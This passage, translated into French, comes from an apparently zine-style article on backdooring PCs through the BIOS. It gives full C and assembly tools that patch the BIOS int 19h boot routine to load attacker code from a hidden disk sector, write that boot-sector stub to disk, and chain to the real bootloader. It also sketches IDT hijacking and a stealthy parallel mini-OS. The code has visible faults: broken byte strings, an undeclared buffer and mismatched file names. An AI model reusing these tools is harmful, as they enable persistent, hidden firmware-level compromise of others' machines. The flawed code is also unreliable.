jour le microcode du CPU pour permettre de corriger des bugs sans avoir besoin
de rappeller tout le matos vendu (vous vous rappellez du bug foof ?). L'idée
était que le BIOS puisse stocker le microcode mis à jours et l'injecter dans le
CPU à chaque fois qu'il démarre, puisque les modifications du microcode ne sont
pas permanentes. Cette fonctionnalité est connue en tant que "BIOS update" [NDT
: "mise à jour du BIOS"]. Bien sûr, ce microcode prend de la place et on peut
chercher après le code qui l'injecte, le détourner pour qu'il ne fasse plus rien
et écraser le microcode pour y stocker notre propre code.
Implémenter 2/ est plus complexe que 1/, nous nous focaliserons donc sur
le première pour commencer. L'idée est que le BIOS charge notre code avant le
gestionnaire d'amorçage. C'est très simple à faire. Encore une fois, le code du
BIOS Bochs va nous être utile, mais si vous regardez à votre copie du BIOS, vous
devriez voir de petites différences. Le code qui nous intéresse est localisé à
0xfe6f2 et c'est l'interruption BIOS 19h. Celle-ci est vraiment intéressante car
c'est celle qui doit charger le gestionnaire d'amorçage. Regardons à la partie
intéressante du code :
7238 // We have to boot from harddisk or floppy
7239 if (bootcd == 0) {
7240 bootseg=0x07c0;
7241
7242 ASM_START
7243 push bp
7244 mov bp, sp
7245
7246 mov ax, #0x0000
7247 mov _int19_function.status + 2[bp], ax
7248 mov dl, _int19_function.bootdrv + 2[bp]
7249 mov ax, _int19_function.bootseg + 2[bp]
7250 mov es, ax ;; segment
7251 mov bx, #0x0000 ;; offset
7252 mov ah, #0x02 ;; function 2, read diskette sector
7253 mov al, #0x01 ;; read 1 sector
7254 mov ch, #0x00 ;; track 0
7255 mov cl, #0x01 ;; sector 1
7256 mov dh, #0x00 ;; head 0
7257 int #0x13 ;; read sector
7258 jnc int19_load_done
7259 mov ax, #0x0001
7260 mov _int19_function.status + 2[bp], ax
7261
7262 int19_load_done:
7263 pop bp
7264 ASM_END
int13h est l'interruption BIOS utilisée pour accéder aux périphériques de
stockage. Dans notre cas, le BIOS tente de charger le gestionnaire d'amorçage,
qui est sur le premier secteur du disque. Le truc intéressant c'est qu'en
changeant juste la valeur mise dans un registre, on peut faire que le BIOS lance
notre propre code. Par exemple, si nous voulons cacher notre code dans le
secteur numéro 0xN et si nous patchons le BIOS pourqu'au lieu de l'instruction
"mov cl, #0x01", nous ayons "mov cl, #0xN", notre code pourra être chargé à
chaque démarrage et redémarrage. En gros, on peut stocker notre code où nous
voulons et aussi changer le secteur, la piste, et même le disque utilisé. C'est
à vous de choisir où stocker votre code mais comme je l'ai dit, un secteur
marqué comme défectueux peut se montrer très intéressant.
Voici les trois codes sources pour vous aider à débuter plus vite : le
premier, inject.c, modifie la ROM du BIOS pour qu'il charge notre code avant le
gestionnaire d'amorçage. inject.c a besoin de /dev/bios/ pour fonctionner. Le
deuxième, code.asm, est le skelette à completer avec votre propre code et est
chargé par le BIOS. Le troisième, store.c, injecte code.asm dans le secteur
cible de la première piste du disque dur.
--[ infect.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define BUFSIZE 512
#define BIOS_DEV "/dev/bios"
#define CODE "xbbx00x00" /* mov bx, 0 */
"xb4x02" /* mov ah, 2 */
"xb0x01" /* mov al, 1 */
"xb5x00" /* mov ch, 0 */
"xb6x00" /* mov dh, 0 */
"xb1x01" /* mov cl, 1 */
"xcdx13" /* int 0x13 */
#define TO_PATCH "xcdx13" /* mov cl, 1 */
#define SECTOR_OFFSET 1
void usage(char *cmd)
{
fprintf(stderr, "usage is : %s [bios rom] <sector> <infected rom>n", cmd);
exit(1);
}
/*
** Cette fonction regarde dans la ROM du BIOS et cherche après la
** procédure int19h. L'algo utilisé sucks puisque c'est une recherche
** naive. Les lecteurs intéressés devraient le changer.
*/
char * search(char * buf, size_t size)
{
return memmem(buf, size, CODE, sizeof(CODE));
}
void patch(char * tgt, size_t size, int sector)
{
char new;
char * tmp;
tmp = memmem(tgt, size, TO_PATCH, sizeof(TO_PATCH));
new = (char)sector;
tmp[SECTOR_OFFSET] = new;
}
int main(int argc, char **argv)
{
int sector;
size_t i;
size_t ret;
size_t cnt;
int devfd;
int outfd;
char * buf;
char * dev;
char * out;
char * tgt;
if (argc == 3)
{
dev = BIOS_DEV;
out = argv[2];
sector = atoi(argv[1]);
}
else if (argc == 4)
{
dev = argv[1];
out = argv[3];
sector = atoi(argv[2]);
}
else
usage(argv[0]);
if ((devfd = open(dev, O_RDONLY)) == -1)
{
fprintf(stderr, "could not open BIOS\n");
exit(1);
}
if ((outfd = open(out, O_WRONLY | O_TRUNC | O_CREAT)) == -1)
{
fprintf(stderr, "could not open %s\n", out);
exit(1);
}
for (cnt = 0; (ret = read(devfd, buf, BUFSIZE)) > 0; cnt += ret)
buf = realloc(buf, ((cnt + ret) / BUFSIZE + 1) * BUFSIZE);
if (ret == -1)
{
fprintf(stderr, "error reading BIOS\n");
exit(1);
}
if ((tgt = search(buf, cnt)) == NULL)
{
fprintf(stderr, "could not find code to patch\n");
exit(1);
}
patch(tgt, cnt, sector);
for (i = 0; (ret = write(outfd, buf + i, cnt - i)) > 0; i += ret)
;
if (ret == -1)
{
fprintf(stderr, "could not write patched ROM to disk\n");
exit(1);
}
close(devfd);
close(outfd);
free(buf);
return 0;
}
---
--[ evil.asm
;;;
;;; Un code d'exemple à être chargé par le BIOS infecté au lieu
;;; du gestionnaire d'amorçage réel. En gros, il se déplace
;;; lui-même pour charger le gestionnaire d'amorçage réel et y
;;; sauter. Remplacez les nops si vous voulez qu'il fasse quelque
;;; chose d'utile.
;;;
;;; Utilisation :
;;; Aucun, ce code doit être chargé par store.c
;;;
;;; compile avec : nasm -fbin evil.asm -o evil.bin
;;;
BITS 16
ORG 0
;; on a besoin de ce point pour vérifier la taille du code
entry:
jmp begin ; saute les données
;; Voici les données
drive db 0 ; le disque sur lequel on est
begin:
mov [drive], dl ; récupère le disque sur lequel on est
;; initialisation du segments
mov ax, 0x07C0
mov ds, ax
mov es, ax
;; initialisation de la pile
mov ax, 0
mov ss, ax
mov ax, 0xffff
mov sp, ax
;; quitte la zone pour pouvoir charger
;; le VRAI gestionnaire d'amorçage
mov ax, 0x7c0
mov ds, ax
mov ax, 0x100
mov es, ax
mov si, 0
mov di, 0
mov cx, 0x200
cld
rep movsb
;; saute au nouvel endroit
jmp 0x100:next
next: ;; pour sauter vers le nouveau bon endroit
;; charge le vrai gestionnaire d'amorçage
mov dl, [drive]
mov ax, 0x07C0
mov es, ax
mov bx, 0
mov ah, 2
mov al, 1
mov ch, 0
mov cl, 1
mov dh, 0
int 0x13
;; Vaites vos vils actions ici
;; (par exemple, infecter le gestionnaire d'amorçage)
nop
nop
nop
;; exécute le system
jmp 07C0h:0
size equ $ - entry
%if size+2 > 512
%error "code est trop grand pour le secteur de boot"
%endif
times (512 - size - 2) db 0 ; remplis les 512 octets
db 0x55, 0xAA ; signature de boot
---
--[ store.c
/*
** code à utiliser pour stocker le faux booloader chargé
** par le BIOS infecté
**
** Utilisation :
** store <disque> <numéro du secteur> <fichier à injecter>
**
** compile avec : gcc store.c -o store
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define CODE_SIZE 512
#define SECTOR_SIZE 512
void usage(char *cmd)
{
fprintf(stderr, "utilisation : %s <disque> <secterr> <code>\n", cmd);
exit(0);
}
int main(int argc, char **argv)
{
int off;
int i;
int devfd;
int codefd;
int cnt;
char code[CODE_SIZE];
if (argc != 4)
usage(argv[0]);
if ((devfd = open(argv[1], O_RDONLY)) == -1)
{
fprintf(stderr, "erreur : ne peut ouvrir le disque\n");
exit(1);
}
off = atoi(argv[2]);
if ((codefd = open(argv[3], O_RDONLY)) == -1)
{
fprintf(stderr, "erreur : ne peut ouvrir le fichier");
exit(1);
}
for (cnt = 0; cnt != CODE_SIZE; cnt += i)
if ((i = read(codefd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0)
{
fprintf(stderr, "erreur de lecture du code\n");
exit(1);
}
lseek(devfd, (off - 1) * SECTOR_SIZE, SEEK_SET);
for (cnt = 0; cnt != CODE_SIZE; cnt += i)
if ((i = write(devfd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0)
{
fprintf(stderr, "erreur de lecture du code\n");
exit(1);
}
close(devfd);
close(codefd);
printf("Disque infecté\n");
return 0;
}
---
Okay, maintenant qu'on peut charger notre code en utilisant le BIOS, il est
temps de considérer ce qu'on peut faire dans cette position. Comme nous sommes
presque les premiers à avoir le contrôle sur le système, nous pouvons faire des
choses réellements intéressantes :
D'abord, on peut détourner les interruptions BIOS et les faires sauter vers
notre code. C'est intéressant parce qu'au lieu d'écrire tout le code dans le
BIOS, on peut maintenant détourner les procédures en ayant autant de place que
nécessaire et sans devoir faire plein de reverse engineering.
Ensuite, on peut facilement patcher le gestionnaire d'amorçage à la volée
puisque c'est notre propre code qui le charge. En fait, on a même pas ebsoin
d'appeller le vrai gestionnaire si on ne veut pas, on peut faire un faux qui
charge un charmant noyau patché à partir du vrai. Ou faire un faux gestionnaire
(ou patcher le bon à la volée) qui charge le vrai noyau et le patche à la volée.
Le choix est vôtre.
En fin, je voudrais parler d'une dernière chose qui m'est passée par
l'esprit. Combiné avec le détournement d'IDTR, patcher le BIOS peur nous
garantir un contrôle complet sur le système. On peut patcher le BIOS pour qu'il
charge notre propre gestionnaire d'amorçage. Ce gestionnaire est spécial, en
fait, il charge un mini-OS fait maison qui place une IDT. ENsuite, comme nous
avons détourné le registre IDTR (il y a plusieurs de manières de le faire, la
plus facile étant de patcher le processus de démarrage de l'OS cible pour
l'empêcher d'écraser notre IDT), on peut alors charger le vrai gestinonaire
d'amorçage qui va charger le vrai noyau. À ce moment, notre propre OS va
détourner le système entier avec sa propre IDT qui va gérer toutes les
interruptions que vous voulez, détourner tout événement sur le système. On peut
même utiliser l'horloge système comme scheduler pour les deux OS : le tick va
être géré par notre propre OS et en fonction de la configuration (on peut dire
par exemple, 10 % du temps pour notre OS, et 90 % pour le vrai OS), on peut
exécuter notre code ou donner le contrôle au vrai système en sautant dans sa
IDT.
Vous pouvez faire plein de choses juste en patchant le BIOS, je vous suggère
donc d'implémenter vos propres idées. Souvenez-vous que ce n'est pas si
difficile, la documentation sur le sujet existe déjà et on peut vraiment faire
plein de choses. Souvenez-vous juste d'utiliser Bochs pour tester avant d'aller
dans la nature, c'est certainement moins amusant quand de la fumée sort d'une
puce de la carte mère...
5. Conclusion
Et voilà, le matériel peut être backdooré assez facilement. Bien sûr, ce
que j'ai montré ici n'était qu'un survol rapide. On peut faire BEAUCOUP de
choses avec le matériel, des choses qui nous assurent un contrôle total sur
l'ordinateur sur lequel on est tout en restant furtifs. Il y a un gros travail à
faire dans ce domaine puisque de plus en plus de périphériques deviennent
dépendant du SPU et implémentent beaucoup de fonctionnalités qui peuvent être
utilisées pour faires des choses amusantes. L'imagination (et la portabilité,
sic...) est la seule limite.
Pour les gens très intéressés dans le fait de s'amuser avec le matériel, je
vous suggère de regarder dans le système de programmation microcode du CPU (en
commencant par le reverse engineering de l'AMD K8, voir [18]), les BIOS's des
cartes réseaux et le système PXE.
(Et le hack matériel peut être un début amusant pour apprendre à envoyer chier
le système TCPA).
6. Références
[1] : The Art of Assembly Programming - Randall Hyde
(http://webster.cs.ucr.edu/AoA/index.html)
[2] : Linux Device Drivers - Alessandro Rubini, Jonathan Corbet
(http://www.xml.com/ldd/chapter/book/)
[3] : OpenGL
(http://www.opengl.org/)
[4] : Neon Helium Productions (NeHe)
(http://nehe.gamedev.net/)
[5] : GPGPU
(http://www.gpgpu.org)
[6] : HLSL tutorial
(http://msdn2.microsoft.com/en-us/library/bb173494.aspx)
[7] : GLSL tutorial
(http://nehe.gamedev.net/data/articles/article.asp?article=21)
[8] : The NVIDIA Cg Toolkit
(http://developer.nvidia.com/object/cg_toolkit.html)
[9] : NVIDIA Cg tutorial
(http://developer.nvidia.com/object/cg_tutorial_home.html)
[10] : nVIDIA CUDA (Compute Unified Device Architecture)
(http://developer.nvidia.com/object/cuda.html)
[11] : Implementing and Detecting an ACPI BIOS RootKit - John Heasman
(http://www.ngssoftware.com/jh_bhf2006.pdf)
[12] : /dev/bios - Stefan Reinauer
(http://www.openbios.info/development/devbios.html)
[13] : OpenBIOS initiative
(http://www.openbios.info/)
[14] : Award BIOS reverse engineering guide - Pinczakko
(http://www.geocities.com/mamanzip/Articles/Award_Bios_RE)
[15] : Wim's BIOS
(http://www.wimsbios.com/)
[16] : Bochs IA-32 Emulator Project
(http://bochs.sourceforge.net/)
[17] : Bochs BIOS source code
(http://bochs.sourceforge.net/cgi-bin/lxr/source/bios/rombios.c)
[18] : Opteron Exposed: Reverse Engineering AMD K8 Microcode Updates
(http://www.packetstormsecurity.nl/0407-exploits/OpteronMicrocode.txt)
7. Remerciements
Sans ces personnes, cet article n'aurait pas vu le jours, donc, merci à eux
:
* Auquen, pour m'avoir présenté l'idée de jouer avec le matériel il y a
cinq ans
* Kad et Mayhem, pour m'avoir convaincu d'écrire cet article
* Sauron, pour m'avoir toujours motivé (rien de sexuel)
* Glenux, pour m'avoir indiqué CUDA
* Tous les gens présents aux apéros de scythale, pour m'aider à me
défoncer d'une telle façon que je sorte des idées diaboliques (yeah, j'étais
saoul quand j'ai décidé de backdoorer mon matériel).
--
scythale@gmail.com